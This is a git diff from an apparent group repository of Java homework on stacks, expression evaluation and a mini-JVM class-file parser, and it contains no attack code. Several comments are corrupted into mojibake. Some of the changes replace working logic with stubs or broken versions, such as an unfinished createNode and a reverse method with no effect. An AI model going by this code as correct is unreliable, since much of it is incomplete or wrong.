-		Assert.assertEquals("[4,3,2,1]", s.toString());
-		
-		StackUtil.remove(s, 1);
-		Assert.assertEquals("[4,3,2]", s.toString());
-		
-		StackUtil.remove(s, 4);
-		Assert.assertEquals("[3,2]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		
-		Object[] obj = StackUtil.getTop(s, 6);
-		Assert.assertEquals(5, obj.length);
-		Assert.assertEquals(s.toString(),arrayToString(obj));
-		
-		Object[] obj1 = StackUtil.getTop(s, 2);
-		Assert.assertEquals(2, obj1.length);		
-		Assert.assertEquals("[5,4]",arrayToString(obj1));
-		
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		
-		String s0 = "([e{d}f])";				
-		Assert.assertEquals(true,StackUtil.isValidPairs(s0));
-		
-		String s1 = "(]e{d}f[)";				
-		Assert.assertEquals(false,StackUtil.isValidPairs(s1));
-		
-		String s2 = "([b{x]y})";
-		Assert.assertEquals(false,StackUtil.isValidPairs(s2));
-		
-		String s3 = "()((()()))()";
-		Assert.assertEquals(true,StackUtil.isValidPairs(s3));
-		
-		String s4 = "(fs{fs[fs(";
-		Assert.assertEquals(false,StackUtil.isValidPairs(s4));
-		
-		String s5 = "gshsg54fs";
-		Assert.assertEquals(false,StackUtil.isValidPairs(s5));
-		
-		
-	}
-	
-	private static String arrayToString(Object[] objs){
-		
-		StringBuffer sBuffer = new StringBuffer();
-		sBuffer.append("[");
-		
-		for (int i = 0; i < objs.length; i++) {
-			if(i == objs.length-1){
-				sBuffer.append(objs[i]+"]");
-			}else{
-				sBuffer.append(objs[i]+",");
-			}			
-		}
-		return sBuffer.toString();
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index d22f51a98b..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package test.com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.expr.InfixExpr;
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 97ec425a7b..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package test.com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.expr.PostfixExpr;
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index e866223a4e..0000000000
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package test.com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.stack.expr.PrefixExpr;
-
-public class PrefixExprTest {
-	
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-	
-}
diff --git a/group12/247565311/structure/week2/ArrayUtilTest.java b/group12/247565311/structure/week2/ArrayUtilTest.java
index 3d249b7225..c1b414d725 100644
--- a/group12/247565311/structure/week2/ArrayUtilTest.java
+++ b/group12/247565311/structure/week2/ArrayUtilTest.java
@@ -8,6 +8,7 @@ public class ArrayUtilTest {
     ArrayUtil u = null;
 	@Before
 	public void setUp() throws Exception {
+		System.out.println("��ʼһ���µIJ���");
 		u = new ArrayUtil();
 	}
 
diff --git a/group12/247565311/structure/week6/StackUtil.java b/group12/247565311/structure/week6/StackUtil.java
index 4529372e4c..9895f02f30 100644
--- a/group12/247565311/structure/week6/StackUtil.java
+++ b/group12/247565311/structure/week6/StackUtil.java
@@ -2,10 +2,20 @@
 import java.util.Stack;
 public class StackUtil {
 	
-
+	public static void bad_reverse(Stack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		Stack<Integer> tmpStack = new Stack();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		s = tmpStack;
+	}
+	
     /**
-    * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	* 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+    * 閸嬪洩顔曢弽鍫滆厬閻ㄥ嫬鍘撶槐鐘虫ЦInteger, 娴犲孩鐖ゆい璺哄煂閺嶅牆绨抽弰锟� 5,4,3,2,1 鐠嬪啰鏁ょ拠銉︽煙濞夋洖鎮楅敍锟介崗鍐濞嗏�绨崣妯硅礋: 1,2,3,4,5
+    * 濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
     */
     public static void reverse(Stack<Integer> s){
         if(s == null || s.isEmpty()) return;
@@ -17,26 +27,22 @@ public static void reverse(Stack<Integer> s){
         }
         while(!s1.isEmpty())
             s.push(s1.pop());
-        
         for(int i=0;i<size;i++){
             Integer integer = s.pop();
-            int index = 1;
-            while(index+i<size){
-                index += 1;
+            while(s.size()>i)
                 s1.push(s.pop());
-            }
             s.push(integer);
-            while(!s1.isEmpty())
+            while(s1.size()>0)
                 s.push(s1.pop());
         }
     }
-    // 原地翻转栈也可以使用递归的方式，就是不好理解
+    // 閫氳繃閫掑綊鍙互涓嶄娇鐢ㄥ爢鏍堝畬鎴愯繖涓�姛鑳�
 	public static void reverse2(Stack<Integer> s) {
 		if(s == null || s.isEmpty()){
 			return;
 		}
 		Integer top = s.pop();
-		reverse2(s);
+		reverse(s);
 		addToBottom(s,top);
 	}
 	public static void addToBottom(Stack<Integer> s,  Integer value){
@@ -49,7 +55,7 @@ public static void addToBottom(Stack<Integer> s,  Integer value){
 		}
 	}
 	/**
-	 * 移出栈中的某个元素，只能使用push,pop,peek,isEmpty这几种操作
+	 * 閸掔娀娅庨弽鍫滆厬閻ㄥ嫭鐓囨稉顏勫帗缁憋拷濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
 	 * 
 	 * @param o
 	 */
@@ -70,7 +76,7 @@ public static void remove(Stack s,Object o) {
 	}
 
 	/**
-	 * 获取栈顶的len个元素，只能使用push,pop,peek,isEmpty这几种操作来完成
+	 * 娴犲孩鐖ゆい璺哄絿瀵版en娑擃亜鍘撶槐锟�閸樼喐娼甸惃鍕垽娑擃厼鍘撶槐鐘辩箽閹镐椒绗夐崣锟�	 * 濞夈劍鍓伴敍姘涧閼虫垝濞囬悽鈯縯ack閻ㄥ嫬鐔�張顒佹惙娴ｆ粣绱濋崡纭僽sh,pop,peek,isEmpty閿涳拷閸欘垯浜掓担璺ㄦ暏閸欙箑顦绘稉锟介嚋閺嶅牊娼垫潏鍛И
 	 * @param len
 	 * @return
 	 */
@@ -92,10 +98,10 @@ public static Object[] getTop(Stack s,int len) {
 		return result;
 	}
 	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 鐎涙顑佹稉鐬�閸欘垵鍏橀崠鍛儓鏉╂瑤绨虹�妤冾儊閿涳拷 ( ) [ ] { }, a,b,c... x,yz
+	 * 娴ｈ法鏁ら崼鍡樼垽濡拷鐓＄�妤冾儊娑撶灚娑擃厾娈戦幏顒�娇閺勵垯绗夐弰顖涘灇鐎电懓鍤悳鎵畱閵嗭拷
+	 * 娓氬顩 = "([e{d}f])" , 閸掓瑨顕氱�妤冾儊娑撹弓鑵戦惃鍕閸欓攱妲搁幋鎰嚠閸戣櫣骞囬敍锟界拠銉︽煙濞夋洝绻戦崶鐎焤ue
+	 * 婵″倹鐏�s = "([b{x]y})", 閸掓瑨顕氱�妤冾儊娑撹弓鑵戦惃鍕閸欒渹绗夐弰顖涘灇鐎电懓鍤悳鎵畱閿涳拷鐠囥儲鏌熷▔鏇＄箲閸ョ�alse;
 	 * @param s
 	 * @return
 	 */
diff --git a/group12/247565311/structure/week6/StackUtilTest.java b/group12/247565311/structure/week6/StackUtilTest.java
index 74c10b3ffd..f1a8aec8ac 100644
--- a/group12/247565311/structure/week6/StackUtilTest.java
+++ b/group12/247565311/structure/week6/StackUtilTest.java
@@ -1,12 +1,13 @@
 package structure.week6;
 
+import static org.junit.Assert.fail;
+
 import java.util.Stack;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
-
 public class StackUtilTest {
 
 	@Before
@@ -23,8 +24,11 @@ public void testAddToBottom() {
 		s.push(1);
 		s.push(2);
 		s.push(3);
+		
 		StackUtil.addToBottom(s, 0);
+		
 		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
 	}
 	@Test
 	public void testReverse() {
@@ -70,4 +74,5 @@ public void testIsValidPairs() {
 		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
 		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
 	}
+
 }
\ No newline at end of file
diff --git a/group12/247565311/structure/week7/InfixExpr.java b/group12/247565311/structure/week7/InfixExpr.java
index 1cb09a5d0b..4fc4d13fbe 100644
--- a/group12/247565311/structure/week7/InfixExpr.java
+++ b/group12/247565311/structure/week7/InfixExpr.java
@@ -1,20 +1,17 @@
 package structure.week7;
-import structure.week1.Stack;
-// 使用表达式树来完成这个运算
+// 姹傝В琛ㄨ揪寮忓瓧绗︿覆锛岄鍏堝皢琛ㄨ揪寮忓垱寤烘垚涓�５琛ㄨ揪寮忔爲锛岄渶瑕佹牴鎹繍绠楃鐨勪紭鍏堢骇鏉ュ垱寤�
 public class InfixExpr {
 	String expr = null;
 	Element getElem = null;
 	public InfixExpr(String expr) {
-		this.expr = "0+"+expr; // 由于遇到优先级变化会生成单独节点，必须以最低优先级开头
+		this.expr = expr;
         getElem = new Element(expr);
 	}
 	public float evaluate() throws Exception{
-        Node root = createNode(null);
+        Node node = new Node('\0',getElem.getNextNum());
+        Node root = createNode(node);
 		return (float) getValue(root);
 	}
-	public double evaluate_stack(){
-		return 0.0;
-	}
     class Element{
         private int index;
         private String str;
@@ -22,35 +19,7 @@ public Element(String _str){
             index = 0;
             str = _str;
         }
-        public double peekNextNum(){
-            int lastindex = index;
-            double resl = 0,resr=0;
-            int fbits = 0;
-            char ch = str.charAt(index);
-            boolean hasp = false;
-            while(ch=='.' || (ch<='9' && '0'<=ch)){
-                index += 1;
-                if(ch == '.') hasp = true;
-                else{
-                    if(hasp){
-                        fbits -= 1;
-                        resr += (double)(ch-'0') * Math.pow(10,fbits);
-                    }else{
-                        resl *= 10;
-                        resl += (ch-'0');
-                    }
-                }
-                if(hasNext()) ch = str.charAt(index);
-                else break;
-            }
-            index = lastindex;
-            return resl+resr;
-        }
-        public double getNextNum() throws Exception{
-            if(!hasNext()) {
-            	int a = index -2;
-            	throw new Exception("表达式格式错误，在位置"+a+"处缺少操作数。");
-            }
+        public double getNextNum(){
             double resl = 0,resr=0;
             int fbits = 0;
             char ch = str.charAt(index);
@@ -72,18 +41,6 @@ public double getNextNum() throws Exception{
             }
             return resl+resr;
         }
-        public char peekNextOper(){
-            int lastindex = index;
-            char ch = '\0';
-            while(hasNext()){
-                ch = str.charAt(index);
-                index += 1;
-                if(ch=='+'||ch=='-'||ch=='*'||ch=='/') break;
-                ch = '\0';
-            }
-            index = lastindex;
-            return ch;
-        }
         public char getNextOper(){
             if(hasNext()){
                 char ch = str.charAt(index);
@@ -111,37 +68,23 @@ class Node{
             val =v;
         }
     }
-    private Node createNode(Node node) throws Exception{
-        if(getElem.peekNextOper() == '\0') return node;
-        if(node == null){
-            node = new Node('\0',getElem.getNextNum());
-        }
+    private Node createNode(Node root){
         char ch = getElem.getNextOper();
-        Node root = new Node(ch,0);
-        root.left = node;
-        char chn = getElem.peekNextOper();
-        if(operUpDowm(ch,chn)<0){ // 操作符优先级提升
-            root.right = createNode(null);
-        }else if(operUpDowm(ch,chn)>0){ // 操作符优先级下降
-            root.right = new Node('\0',getElem.getNextNum());
-            return root;    // 这里是遍历完一个连续乘除法，需要返回节点，考虑5-2*3-4，不返回会导致5-2*3+4
+        if(ch == '\0'){
+            
         }else{
-            root.right = new Node('\0',getElem.getNextNum());
+            
         }
-        return createNode(root);
-    }
-    private int operUpDowm(char c1,char c2){
-        int temp1 = 0,temp2=0;
-        if(c1=='+'||c1=='-')temp1 = 0;
-        else if(c1=='*'||c1=='/')temp1 = 1;
-        if(c2=='+'||c2=='-')temp2 = 0;
-        else if(c2=='*'||c2=='/')temp2 = 1;
-        return temp1-temp2;
+        Node node = new Node(getElem.getNextOper(),0);
+        node.left = root;
+        node.right = null;
+        // todo 
+        return node;
     }
     private double getValue(Node root) throws Exception{
-        if(root == null) throw new Exception("解析表达式出现异常");
+        if(root == null) throw new Exception("表达式非法");
         switch(root.op){
-        case '+':
+          case '+':
             return getValue(root.left)+getValue(root.right);
 		case '-':
             return getValue(root.left)-getValue(root.right);
@@ -149,10 +92,8 @@ private double getValue(Node root) throws Exception{
             return getValue(root.left)*getValue(root.right);
 		case '/':
             return getValue(root.left)/getValue(root.right);
-        case '\0':
-            return root.val;
 		default:
-            throw new Exception("目前还不支持 "+new StringBuilder().append(root.op).toString()+" 运算符。");
+            return root.val;
         }
     }
 }
diff --git a/group12/247565311/structure/week7/InfixExprTest.java b/group12/247565311/structure/week7/InfixExprTest.java
index 730e623126..21680594de 100644
--- a/group12/247565311/structure/week7/InfixExprTest.java
+++ b/group12/247565311/structure/week7/InfixExprTest.java
@@ -6,66 +6,58 @@
 
 public class InfixExprTest {
 
-    @Before
-    public void setUp() throws Exception {
-    }
-    @After
-    public void tearDown() throws Exception {
-    }
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            try {
-                Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
+	@Before
+	public void setUp() throws Exception {
+	}
+	@After
+	public void tearDown() throws Exception {
+	}
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			try {
+				Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
         
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            try {
-                Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			try {
+				Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			try {
+				Assert.assertEquals(30, expr.evaluate(), 0.001f);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			try {
+				Assert.assertEquals(30, expr.evaluate(), 0.001f);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
         
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            try {
-                Assert.assertEquals(30, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        
-        {
-            InfixExpr expr = new InfixExpr("20/2*3");
-            try {
-                Assert.assertEquals(30, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            try {
-                Assert.assertEquals(30, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        {
-            InfixExpr expr = new InfixExpr("4*2*5+5-4*5/5*3/2*4-2+4*2+2/1");
-            try {
-                Assert.assertEquals(29, expr.evaluate(), 0.001f);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			try {
+				Assert.assertEquals(30, expr.evaluate(), 0.001f);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
+	}
 }
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/attr/AttrFactory.java b/group12/247565311/week567_miniJVM/attr/AttrFactory.java
deleted file mode 100644
index 71992f4302..0000000000
--- a/group12/247565311/week567_miniJVM/attr/AttrFactory.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package week567_miniJVM.attr;
-
-import week567_miniJVM.clz.ClassFile;
-import week567_miniJVM.constant.ConstantInfo;
-import week567_miniJVM.constant.UTF8Info;
-import week567_miniJVM.loader.ByteCodeIterator;
-import week567_miniJVM.attr.LineNumberTable;
-
-public class AttrFactory{
-    private static AttrFactory instance = new AttrFactory();
-    public static AttrFactory Instance(){
-        return instance;
-    }
-    public AttributeInfo parse(ClassFile clzFile,ByteCodeIterator iter){
-        int attrNameIndex = iter.nextU2ToInt();
-        ConstantInfo info = clzFile.getConstantPool().getConstantInfo(attrNameIndex);
-        if(info.getType()==1&&"Code".equals(((UTF8Info) info).getValue())){
-        	int attrLen = iter.nextU4ToInt();
-        	int maxStack = iter.nextU2ToInt();
-        	int maxLocal = iter.nextU2ToInt();
-        	int codeLen = iter.nextU4ToInt();
-        	String code = iter.nextUxToHexString(codeLen);
-        	CodeAttr codeattr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocal,codeLen,code);
-        	
-        	int exceptLen = iter.nextU2ToInt(); // �쳣����
-        	while(exceptLen>0){
-        		exceptLen -= 1;
-        		int startPc = iter.nextU2ToInt();
-        		int endPc = iter.nextU2ToInt();
-        		int handlerPc = iter.nextU2ToInt();
-        		int catchType = iter.nextU2ToInt();
-        		// TODO
-        	}
-        	int attributeLen = iter.nextU2ToInt(); // �����»������Եĸ���
-        	while(attributeLen>0){
-        		attributeLen -= 1;
-        		AttributeInfo chattr = AttrFactory.Instance().parse(clzFile, iter);
-        		codeattr.addAttr(chattr);
-        	}
-        	return codeattr;
-        }else if(info.getType()==1&&"LineNumberTable".equals(((UTF8Info) info).getValue())){
-        	int attrLen = iter.nextU4ToInt();
-        	int lineNum = iter.nextU2ToInt();
-        	LineNumberTable linetable = new LineNumberTable(attrNameIndex,lineNum);
-        	while(lineNum>0){
-        		lineNum -= 1;
-        		int startPc = iter.nextU2ToInt();
-        		int lineNumber = iter.nextU2ToInt();
-        		linetable.addLineNumberItem(startPc,lineNumber);
-        	}
-        	return linetable;
-        }else if(info.getType()==1&&"LocalVariableTable".equals(((UTF8Info) info).getValue())){
-        	int attrLen = iter.nextU4ToInt();
-        	int localVarNum = iter.nextU2ToInt();
-        	LocalVariableTable lvartable = new LocalVariableTable(attrNameIndex,localVarNum);
-        	while(localVarNum>0){
-        		localVarNum -= 1;
-        		int startPc = iter.nextU2ToInt();
-        		int length = iter.nextU2ToInt();
-        		int nameIndex = iter.nextU2ToInt();
-        		int descIndex = iter.nextU2ToInt();
-        		int index = iter.nextU2ToInt();
-        		LocalVariableItem item = new LocalVariableItem(startPc,length,nameIndex,descIndex,index);
-        	    lvartable.addLocalVariableItem(item);
-        	}
-        	return lvartable;
-        }else if(info.getType()==1&&"StackMapTable".equals(((UTF8Info) info).getValue())){
-        	int attrLen = iter.nextU4ToInt();
-        	int entryNum = iter.nextU2ToInt();
-        	StackMapTable stacktable = new StackMapTable(attrNameIndex,entryNum);
-        	stacktable.parse(iter);
-        	//while(entryNum>0){
-        	//	entryNum -= 1;
-        		
-        	//}
-        	return stacktable;
-        }
-    	return null;
-    }
-}
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/attr/AttributeInfo.java b/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
index fb310678bf..e97ebe0065 100644
--- a/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
+++ b/group12/247565311/week567_miniJVM/attr/AttributeInfo.java
@@ -1,6 +1,7 @@
 package week567_miniJVM.attr;
 
-import structure.week1.ArrayList;
+
+
 
 public abstract class AttributeInfo {
 	public static final String CODE = "Code";
@@ -11,19 +12,13 @@ public abstract class AttributeInfo {
 	public static final String STACK_MAP_TABLE = "StackMapTable";
 	int attrNameIndex;				
 	int attrLen ;
-	private String attrName;
-	ArrayList<AttributeInfo> attrs = new ArrayList<AttributeInfo>();
-	public AttributeInfo( int attrNameIndex,int attrLen,String attrname) {
-	    this.attrNameIndex = attrNameIndex;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
 		this.attrLen = attrLen;
-		this.attrName = attrname;
-	}
-	public String getAttrName(){
-		return attrName;
-	}
-	public void addAttr(AttributeInfo attrinfo){
-		attrs.add(attrinfo);
 	}
+	
+	
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/CodeAttr.java b/group12/247565311/week567_miniJVM/attr/CodeAttr.java
index 15e0a027f2..b32d6aada9 100644
--- a/group12/247565311/week567_miniJVM/attr/CodeAttr.java
+++ b/group12/247565311/week567_miniJVM/attr/CodeAttr.java
@@ -1,10 +1,13 @@
 
+
+
 package week567_miniJVM.attr;
 
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.constant.ConstantPool;
 import week567_miniJVM.loader.ByteCodeIterator;
 
+
 public class CodeAttr extends AttributeInfo {
 	private int maxStack ;
 	private int maxLocals ;
@@ -13,40 +16,46 @@ public class CodeAttr extends AttributeInfo {
 	public String getCode() {
 		return code;
 	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
 	
 	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen,AttributeInfo.CODE);
+		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
+		//this.cmds = cmds;
 	}
 
-	public LineNumberTable getLineNumberTable() {
-		for(int i=0;i<attrs.size();i++){
-			if(attrs.get(i).getAttrName().equals(AttributeInfo.LINE_NUM_TABLE)){
-				return (LineNumberTable)(attrs.get(i));
-			}
-		}
-        return null;
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
 	}
 
-	public LocalVariableTable getLocalVariableTable() {
-		for(int i=0;i<attrs.size();i++){
-			if(attrs.get(i).getAttrName().equals(AttributeInfo.LOCAL_VAR_TABLE)){
-				return (LocalVariableTable)(attrs.get(i));
-			}
-		}
-        return null;
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		
+		return null;
 	}
-	public StackMapTable getStackMapTable() {
-		for(int i=0;i<attrs.size();i++){
-			if(attrs.get(i).getAttrName().equals(AttributeInfo.STACK_MAP_TABLE)){
-				return (StackMapTable)(attrs.get(i));
-			}
-		}
-        return null;
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
 	}
+
+	
+	
+	
+	
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/LineNumberTable.java b/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
index 3daca7afd2..1160f1b274 100644
--- a/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
+++ b/group12/247565311/week567_miniJVM/attr/LineNumberTable.java
@@ -12,10 +12,6 @@ public class LineNumberTable extends AttributeInfo {
 	private static class LineNumberItem{
 		int startPC;
 		int lineNum;
-		public LineNumberItem(int startpc,int linenum){
-			this.startPC = startpc;
-			this.lineNum = linenum;
-		}
 		public int getStartPC() {
 			return startPC;
 		}
@@ -29,13 +25,21 @@ public void setLineNum(int lineNum) {
 			this.lineNum = lineNum;
 		}
 	}
-	public void addLineNumberItem(int startpc,int linenum){
-		this.items.add(new LineNumberItem(startpc,linenum));
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
 	}
 	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen,AttributeInfo.LINE_NUM_TABLE);
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
 		
+		return null;
 	}
+	
+	
+
 }
 
 
diff --git a/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java b/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
index 2b3b6a4ee2..5ce8ad8810 100644
--- a/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
+++ b/group12/247565311/week567_miniJVM/attr/LocalVariableItem.java
@@ -7,13 +7,6 @@ public class LocalVariableItem {
 	private int nameIndex;
 	private int descIndex;
 	private int index;
-	public LocalVariableItem(int startpc,int len,int nameindex,int descindex,int index){
-		startPC = startpc;
-		length = len;
-		nameIndex = nameindex;
-		descIndex = descindex;
-		this.index = index;
-	}
 	public int getStartPC() {
 		return startPC;
 	}
diff --git a/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java b/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
index 5541226e11..c8dbf11b70 100644
--- a/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
+++ b/group12/247565311/week567_miniJVM/attr/LocalVariableTable.java
@@ -15,16 +15,16 @@ public class LocalVariableTable extends AttributeInfo{
 	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
 	
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen,AttributeInfo.LOCAL_VAR_TABLE);		
+		super(attrNameIndex, attrLen);		
 	}
+	
 	public static LocalVariableTable parse(ByteCodeIterator iter){
 		
 		return null;
 	}
-	public void addLocalVariableItem(LocalVariableItem item) {
+	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
-
 	
 	
 }
diff --git a/group12/247565311/week567_miniJVM/attr/StackMapTable.java b/group12/247565311/week567_miniJVM/attr/StackMapTable.java
index aaf8d2944d..c6b72f2655 100644
--- a/group12/247565311/week567_miniJVM/attr/StackMapTable.java
